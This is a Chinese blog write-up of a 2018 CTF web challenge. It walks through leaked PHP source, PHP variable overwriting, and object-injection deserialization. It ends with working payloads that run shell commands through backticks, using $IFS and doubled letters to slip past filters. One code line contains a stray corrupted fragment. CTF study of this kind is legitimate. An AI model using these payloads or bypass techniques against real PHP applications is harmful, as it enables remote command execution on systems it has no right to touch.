12月13, 2018

CTF-web 笔记 11

骇极杯 2018 web2

赛后感觉能过,但是这题还是有不少有价值的东西,记录一下。


源码泄露

主页没有线索,发现存在.swp备份文件,获得代码如下:

<?php
    error_reporting(0);
    class come{
        private $method;
        private $args;
        function __construct($method, $args) {
            $this->method = $method;
            $this->args = $args;
        }
        function __wakeup(){and to continue
            foreach($this->args as $k => $v) {
                $this->args[$k] = $this->waf(trim($v));
            }
        }
        function waf($str){
            $str=preg_replace("/[<>*;|?\n ]/","",$str);
            $str=str_replace('flag','',$str);
            return $str;
        }
        function echo($host){
            system("echo $host");
        }
        function __destruct(){
             if (in_array($this->method, array("echo"))) {
                call_user_func_array(array($this, $this->method), $this->args);
            }
        }
    }
    $first='hi';
    $var='var';
    $bbb='bbb';
    $ccc='ccc';
    $i=1;
    foreach($_GET as $key => $value) {
            if($i===1)
            {
                $i++;
                $$key = $value;
            }
            else{break;}
    }
    if($first==="doller")
    {
        @parse_str($_GET['a']);
        if($var==="give")
            {
            if($bbb==="me")
            {
                if($ccc==="flag")
                {
                    echo "<br>welcome!<br>";
                    $come=@$_POST['come'];
                    unserialize($come);
                }
            }
            else
            {echo "<br>think about it<br>";}
        }
        else
        {
            echo "NO";
        }
    }
    else
    {
        echo "Can you hack me?<br>";
    }
?>

简单变量覆盖

注意到:

$$key = $value;
@parse_str($_GET['a']);

根据代码逻辑,要传入三个&,但是后两个&是要传给函数parse_str(),不能一开始就被解析,故对其 URL 编码。

很容易构造出 GET 方式的 Payload:

?first=doller&a=var=give%26bbb=me%26ccc=flag

反序列化与任意命令执行

还注意到:

$come=@$_POST['come'];
unserialize($come);

要用到前面的come类,我对其中的关键部分进行了注释:

class come{
    private $method;
    private $args;
    function __construct($method, $args) {//传入两个参数
        $this->method = $method;
        $this->args = $args;
    }
    //__wakeup()是PHP中为反序列化专门提供的一个函数,在反序列化之前执行。
    //类似的也有__sleep()函数,在序列化之前执行。
    function __wakeup(){//传入的$args是数组类型
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));//送去过滤
        }
    }
    function waf($str){//过滤部分特殊字符与子串
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){//摧毁时执行
         if (in_array($this->method, array("echo"))) {
            //call_user_func_array():调用回调函数,并把一个数组参数作为回调函数的参数。
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}

先看看echo()这个在类内部的函数:

function echo($host){
    system("echo $host");
}

很明显,$host若为:

`待执行的命令`

即可进行带回显的命令执行,其中`的作用是把后面命令的结果暂时保存,然后交给前面的echo进行输出,由函数system()输出返回结果。

思路就是利用call_user_func_array()来调用echo(),从而利用这个漏洞。

使用$IFS绕过对空格的过滤($IFS的默认值为:空白,包括空格、tab 和新行,将其 ASCII 码用十六进制打印出来就是:20 09 0a),并双写绕过对flag的过滤:

`cat$IFS/fflaglag`

在本地写序列化脚本:

<?php
    class come{
        private $method;
        private $args;
        function __construct($method, $args) {
            $this->method = $method;
            $this->args = $args;
        }
    }
    $test=new come("echo",array("`cat\$IFS/fflaglag`"));
    echo serialize($test)."<br>";
    echo urlencode(serialize($test));
?>

得到:

O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Ffflaglag%60%22%3B%7D%7D

这里如果不经过 URL 编码就直接输出,come和后面的methodargs会连在一起,不符合前面计算好的长度,编码过后发现是%00的原因。

综上,Payload:

?first=doller&a=var=give%26bbb=me%26ccc=flag

POST:

come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A18%3A%22%60cat%24IFS%2Ffflaglag%60%22%3B%7D%7D

即可取得 flag。

本文链接:https://blog.cindemor.com/post/ctf-web-11.html

-- EOF --